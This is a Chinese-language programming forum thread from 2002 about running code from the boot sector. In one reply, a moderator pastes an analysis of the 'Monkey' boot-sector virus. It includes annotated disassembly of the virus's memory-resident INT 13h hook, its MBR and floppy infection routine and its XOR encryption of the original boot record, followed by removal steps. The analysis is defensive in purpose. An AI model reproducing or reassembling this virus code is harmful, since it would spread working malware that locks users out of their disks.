請問各位高手... |
答題得分者是:lcsboy
|
Kyoko
一般會員 發表:1 回覆:8 積分:1 註冊:2002-10-12 發送簡訊給我 |
||||
lcsboy
版主 發表:87 回覆:622 積分:394 註冊:2002-06-18 發送簡訊給我 |
||||
Kyoko
一般會員 發表:1 回覆:8 積分:1 註冊:2002-10-12 發送簡訊給我 |
||||
jackkcg
站務副站長 發表:891 回覆:1050 積分:848 註冊:2002-03-23 發送簡訊給我 |
||||
Kyoko
一般會員 發表:1 回覆:8 積分:1 註冊:2002-10-12 發送簡訊給我 |
||||
jackkcg
站務副站長 發表:891 回覆:1050 積分:848 註冊:2002-03-23 發送簡訊給我 |
http://www11.brinkster.com/liuliujiajia/Monkey.htm
Monkey 病毒的分析和防治
Monkey 病毒介紹: Monkey,即猴子病毒傳播硬碟和軟碟的引導區,總長度? 01F4H(500位元組),它將原引導記錄加密後保存,在系統讀出時先解密再送出,結果造成病毒不在記憶體中時,系統無法得到正常的引導記錄,以至對所有硬碟分區無法訪問。只有當從有病毒的盤?動時,才能正常訪問硬碟。如果系統有以上情況,就應懷疑有無此病毒。檢測時可以用乾淨盤?動,再用 DISKEDIT 編輯物理硬碟 0 柱面 0 磁軌 1 磁區的主引導記錄,對比以下源代碼相同偏移出的內容是否相同即可確認。 病毒源代碼分析: 1. 病毒的載入部分: 當病毒傳染了引導記錄後,系統?動時將病毒裝入記憶體執行,然後病毒將系統記憶體減少 1K,將自己隱藏在其中。 ... 0B3E:0097 CD12 INT 12 ;取記憶體容量
0B3E:0099 BE4C00 MOV SI,004C ;返回 AX = 記憶體 K 數
0B3E:009C 56 PUSH SI
0B3E:009D 2E CS:
0B3E:009E 803E6F0102 CMP BYTE PTR [016F],02
0B3E:00A3 740E JZ 00B3 ;軟碟?動轉 00B3
0B3E:00A5 E8F500 CALL 019D ;將記憶體減少 1K,見下
0B3E:00A8 BFFC01 MOV DI,01FC ;保留原 INT 13 到 01FC
0B3E:00AB B90200 MOV CX,0002 ;0000:004c -> 07c0:01fc
0B3E:00AE FC CLD
0B3E:00AF F3 REPZ
0B3E:00B0 A5 MOVSW ... ;==============================================================
;將記憶體減少 1 K
;0000:0413 處是常規記憶體的容量,把此處數值減少,系統將不會存取減少的部分
;但這時候,用 MEM 或 MI 看記憶體,將會發現常規記憶體只有 639K,這也是大部分
;引導區病毒的通病,所以有空一定常常用 MEM 看看記憶體(不過對大部分文件型
;病毒和狡猾的引導區病毒無效!) 0B3E:019D 48 DEC AX ;減少 1K
0B3E:019E A31304 MOV [0413],AX
0B3E:01A1 B106 MOV CL,06
0B3E:01A3 D3E0 SHL AX,CL
0B3E:01A5 0420 ADD AL,20
0B3E:01A7 8EC0 MOV ES,AX
0B3E:01A9 C3 RET ... 0B3E:00B6 5E POP SI ;SI = 004Ch,? INT 13 中斷向量地址
0B3E:00B7 C7042000 MOV WORD PTR [SI],0020
0B3E:00BB 894402 MOV [SI 02],AX ;截取 INT 13 到 CS:0020
0B3E:00BE 0E PUSH CS
0B3E:00BF 1F POP DS
0B3E:00C0 E8E700 CALL 01AA ;駐留記憶體
0B3E:00CE 51 PUSH CX
0B3E:00CF 53 PUSH BX ... 2. 病毒的傳播部分: ;========================================================================
; 新 INT 13 程式,位於 CS:0020 處
;========================================================================
0B3E:0020 1E PUSH DS
0B3E:0021 56 PUSH SI
0B3E:0022 57 PUSH DI
0B3E:0023 50 PUSH AX
0B3E:0024 51 PUSH CX
0B3E:0025 52 PUSH DX
0B3E:0026 E89901 CALL 01C2 ;硬碟 CX = 0000 軟碟 CX = 0100
0B3E:0029 80FC02 CMP AH,02
0B3E:002C 750E JNZ 003C 0B3E:002E 52 PUSH DX ;讀盤
0B3E:002F 2BC0 SUB AX,AX ;取系統時間
0B3E:0031 CD1A INT 1A
0B3E:0033 80FA40 CMP DL,40 ;可以看到病毒並不是每次讀盤讀要傳播
0B3E:0036 5A POP DX ;而是先判斷時間
0B3E:0037 7303 JNB 003C
0B3E:0039 E8A900 CALL 00E5 ;傳染
0B3E:003C 5A POP DX
0B3E:003D 59 POP CX
0B3E:003E 58 POP AX
0B3E:003F 5F POP DI
0B3E:0040 52 PUSH DX
0B3E:0041 51 PUSH CX
0B3E:0042 50 PUSH AX 0B3E:0043 83F903 CMP CX, 03
0B3E:0046 733A JNB 0082
0B3E:0048 3A34 CMP DH,[SI]
0B3E:004A 7536 JNZ 0082 ;非讀原引導區退出
0B3E:004C 80FC02 CMP AH,02 ;讀原引導區轉 005F
0B3E:004F 740E JZ 005F
0B3E:0051 80FC03 CMP AH,03 ;寫原引導區轉 0056
0B3E:0054 752C JNZ 0082
0B3E:0056 80FA80 CMP DL,80 ;寫軟碟退出
0B3E:0059 7227 JB 0082
0B3E:005B 2AE4 SUB AH,AH ;寫硬碟原引導記錄
0B3E:005D EB23 JMP 0082 ;則遮罩 ;在這兒可以看到,當病毒在記憶體中時,寫硬碟引導記錄是無效的
;所以,這時候用 FDISK/MBR 或進行分區操作等都等於沒有操作 0B3E:005F E82E00 CALL 0090 ;讀原引導記錄
0B3E:0062 7221 JB 0085
0B3E:0064 E8F800 CALL 015F ;判傳染標誌
0B3E:0067 7408 JZ 0071 ;未傳染退出
0B3E:0069 E8FB00 CALL 0167
0B3E:006C 7403 JZ 0071
0B3E:006E F8 CLC
0B3E:006F EB14 JMP 0085 0B3E:0071 E80A01 CALL 017E ;得到原引導記錄位置
0B3E:0074 8A7401 MOV DH,[SI 01]
0B3E:0077 58 POP AX
0B3E:0078 E81500 CALL 0090 ;讀出原引導記錄
0B3E:007B E86101 CALL 01DF ;解密
0B3E:007E 59 POP CX
0B3E:007F 5A POP DX
0B3E:0080 EB06 JMP 0088 ;退出 ;從這一段可以看到,在系統讀引導記錄時,病毒先調出原來的引導記錄
;解密後傳送給系統,但當系統中沒有病毒時,就無法得到正常的引導記錄,
;這就是?什?用乾淨的軟碟?動進不了硬碟的原因。 0B3E:0082 E80B00 CALL 0090
0B3E:0085 1F POP DS
0B3E:0086 1F POP DS
0B3E:0087 1F POP DS
0B3E:0088 5E POP SI
0B3E:0089 1F POP DS
0B3E:008A CA0200 RETF 0002 ;=====================================================================
;病毒讀盤
0B3E:008D B80102 MOV AX,0201
0B3E:0090 9C PUSHF ;病毒調用 INT 13H
0B3E:0091 2E CS:
0B3E:0092 FF1EFC01 CALL FAR [01FC]
0B3E:0096 C3 RET ;==============================================================
; 傳染副程式
;==============================================================
0B3E:00E5 2BC9 SUB CX,CX
0B3E:00E7 41 INC CX
0B3E:00E8 51 PUSH CX
0B3E:00E9 8A34 MOV DH,[SI]
0B3E:00EB E89FFF CALL 008D ;讀出引導記錄
0B3E:00EE 7264 JB 0154
0B3E:00F0 E86C00 CALL 015F ;判病毒標誌
0B3E:00F3 745F JZ 0154 ;已傳染退出
0B3E:00F5 E86F00 CALL 0167
0B3E:00F8 7521 JNZ 011B ;已傳染
0B3E:00FA 26 ES:
0B3E:00FB 83BFFA0100 CMP WORD PTR [BX 01FA], 00
0B3E:0100 7452 JZ 0154 ;硬碟退出
0B3E:0102 26 ES:
0B3E:0103 C787FA010000 MOV WORD PTR [BX 01FA],0000
0B3E:0109 B101 MOV CL,01 ;寫病毒
0B3E:010B E84800 CALL 0156
0B3E:010E 7244 JB 0154
0B3E:0110 41 INC CX
0B3E:0111 8A7402 MOV DH,[SI 02]
0B3E:0114 E876FF CALL 008D
0B3E:0117 723B JB 0154
0B3E:0119 58 POP AX
0B3E:011A 51 PUSH CX
0B3E:011B E86000 CALL 017E ;轉換
0B3E:011E E8BE00 CALL 01DF ;加密
0B3E:0121 46 INC SI
0B3E:0122 E83100 CALL 0156 ;保存原引導記錄
0B3E:0125 4E DEC SI
0B3E:0126 722C JB 0154
0B3E:0128 E8B400 CALL 01DF ;解密
0B3E:012B 51 PUSH CX
0B3E:012C E87B00 CALL 01AA ;移動病毒到原引導區
0B3E:012F 59 POP CX
0B3E:0130 52 PUSH DX
0B3E:0131 80FA80 CMP DL,80
0B3E:0134 7302 JNB 0138
0B3E:0136 32D2 XOR DL,DL
0B3E:0138 26 ES:
0B3E:0139 8997DC00 MOV [BX 00DC],DX
0B3E:013D 5A POP DX
0B3E:013E 26 ES:
0B3E:013F 888FDA00 MOV [BX 00DA],CL
0B3E:0143 26 ES:
0B3E:0144 C787FE0155AA MOV WORD PTR [BX 01FE],AA55
0B3E:014A 59 POP CX
0B3E:014B 51 PUSH CX
0B3E:014C 26 ES:
0B3E:014D 888F6F01 MOV [BX 016F],CL
0B3E:0151 E80200 CALL 0156 ;寫病毒到引導記錄
0B3E:0154 58 POP AX
0B3E:0155 C3 RET ;===========================================================
;保存原引導記錄
0B3E:0156 8A34 MOV DH,[SI]
0B3E:0158 B80103 MOV AX,0301
0B3E:015B E832FF CALL 0090
0B3E:015E C3 RET 0B3E:015F 26 ES:
0B3E:0160 81BFFA011992 CMP WORD PTR [BX 01FA],9219
0B3E:0166 C3 RET 0B3E:0167 26 ES:
0B3E:0168 81BF19015061 CMP WORD PTR [BX 0119],6150
0B3E:016E C3 RET ;===========================================================
;查表得到保存原引導記錄的磁區號
0B3E:017E 57 PUSH DI
0B3E:017F 56 PUSH SI
0B3E:0180 26 ES:
0B3E:0181 8A4714 MOV AL,[BX 14]
0B3E:0184 B90400 MOV CX,0004
0B3E:0187 8BF1 MOV SI,CX
0B3E:0189 4E DEC SI
0B3E:018A 38847601 CMP [SI 0176],AL
0B3E:018E 7406 JZ 0196
0B3E:0190 E2F5 LOOP 0187
0B3E:0192 B103 MOV CL,03
0B3E:0194 EB04 JMP 019A
0B3E:0196 8A8C7A01 MOV CL,[SI 017A]
0B3E:019A 5E POP SI
0B3E:019B 5F POP DI
0B3E:019C C3 RET ... ;================================================================
;加密/解密原引導記錄,從這一段可以看到,病毒只是把原引導記錄簡單
;的和 2E 進行異或,所以即使不慎用 FDISK/MBR 把病毒破壞掉了,也可以
;手工簡單的將引導記錄解密 0B3E:01DF 57 PUSH DI
0B3E:01E0 51 PUSH CX
0B3E:01E1 50 PUSH AX
0B3E:01E2 8BFB MOV DI,BX
0B3E:01E4 B90002 MOV CX,0200
0B3E:01E7 FC CLD
0B3E:01E8 26 ES:
0B3E:01E9 8A05 MOV AL,[DI]
0B3E:01EB 342E XOR AL,2E
0B3E:01ED AA STOSB
0B3E:01EE E2F8 LOOP 01E8
0B3E:01F0 58 POP AX
0B3E:01F1 59 POP CX
0B3E:01F2 5F POP DI
0B3E:01F3 C3 RET 殺毒要點: 1. 記憶體中的病毒最好用查找字串的方法,如果找到特徵字串,可以把病毒中 INT 13H 傳染部分的有關代碼跳過,假設已找到病毒的記憶體段位址在 DS 中: mov word ptr ds:[0020h],0ff2eh
mov word ptr ds:[0022h],0fc2eh
mov byte ptr ds:[0024h],1
mov word ptr ds:[01d0h],0 2. 磁片中的病毒,可以先讀出有病毒的引導記錄,再在病毒體中的 00DA 中得到原引導記錄的磁區號,在 00DC 中的到磁頭號,再讀出加密過的原引導記錄,解密後再寫如引導區如下: xor ch,ch ;read out old boot area
mov cl,byte ptr file_exec 0dah
mov dx,word ptr file_exec 0dch
call read_disk ; call monkey_decode ;de-code it
call write_to_boot
... 發表人 - jackkcg 於 2002/10/15 14:32:57
------
********************************************************** 哈哈&兵燹 最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好 Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知 K.表Knowlege 知識,就是本站的標語:Open our mind |
|||
Kyoko
一般會員 發表:1 回覆:8 積分:1 註冊:2002-10-12 發送簡訊給我 |
||||
lcsboy
版主 發表:87 回覆:622 積分:394 註冊:2002-06-18 發送簡訊給我 |
||||
Kyoko
一般會員 發表:1 回覆:8 積分:1 註冊:2002-10-12 發送簡訊給我 |
||||
lcsboy
版主 發表:87 回覆:622 積分:394 註冊:2002-06-18 發送簡訊給我 |
||||
Kyoko
一般會員 發表:1 回覆:8 積分:1 註冊:2002-10-12 發送簡訊給我 |
||||
lcsboy
版主 發表:87 回覆:622 積分:394 註冊:2002-06-18 發送簡訊給我 |
||||
jackkcg
站務副站長 發表:891 回覆:1050 積分:848 註冊:2002-03-23 發送簡訊給我 |
古早前施威銘的書看到了, 也許絕版
*********************************************************************
LINUX上有請自行找一找 有關開機啟動程式
------
********************************************************** 哈哈&兵燹 最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好 Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知 K.表Knowlege 知識,就是本站的標語:Open our mind |
|||
Kyoko
一般會員 發表:1 回覆:8 積分:1 註冊:2002-10-12 發送簡訊給我 |
||||
jackkcg
站務副站長 發表:891 回覆:1050 積分:848 註冊:2002-03-23 發送簡訊給我 |
不會很難找 只是看的懂與不懂是很難啦 國人自製的spfdisk也是參考Linux的方式自己撰寫的
Linux又是開放源始碼所以請自行依據 LiLo(多重開機程式)就可以了 以目前組語網站應該找不到 Linux是最佳參考資源 努力 加油
------
********************************************************** 哈哈&兵燹 最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好 Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知 K.表Knowlege 知識,就是本站的標語:Open our mind |
|||
Kyoko
一般會員 發表:1 回覆:8 積分:1 註冊:2002-10-12 發送簡訊給我 |
||||
dllee
站務副站長 發表:321 回覆:2519 積分:1711 註冊:2002-04-15 發送簡訊給我 |
引言: 請問各位高手, 要如何把程式灌在開機磁區, 也就是說, 程式不用經過開機程序 就能直接執行程式, 像 ProMagic 5.0 就是這樣, 可以不用啟動開機檔就能啟動 程式ㄌ, 請問要如何做ㄚ...^^對不起,我來插一下嘴 您想要的程式應該不是 > 如果您的程式是 > ) 關於 ><>< src="http://delphi.ktop.com.tw/loadfile.php?TOPICID=6939849&CC=155211"> C及指標教學,計算機概論,資訊管理導論...
http://coolsite.to/dllee | | 介紹Shells,LiteStep,GeoShell....
http://coolsite.to/ushells | |
本站聲明 |
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。 2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。 3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇! |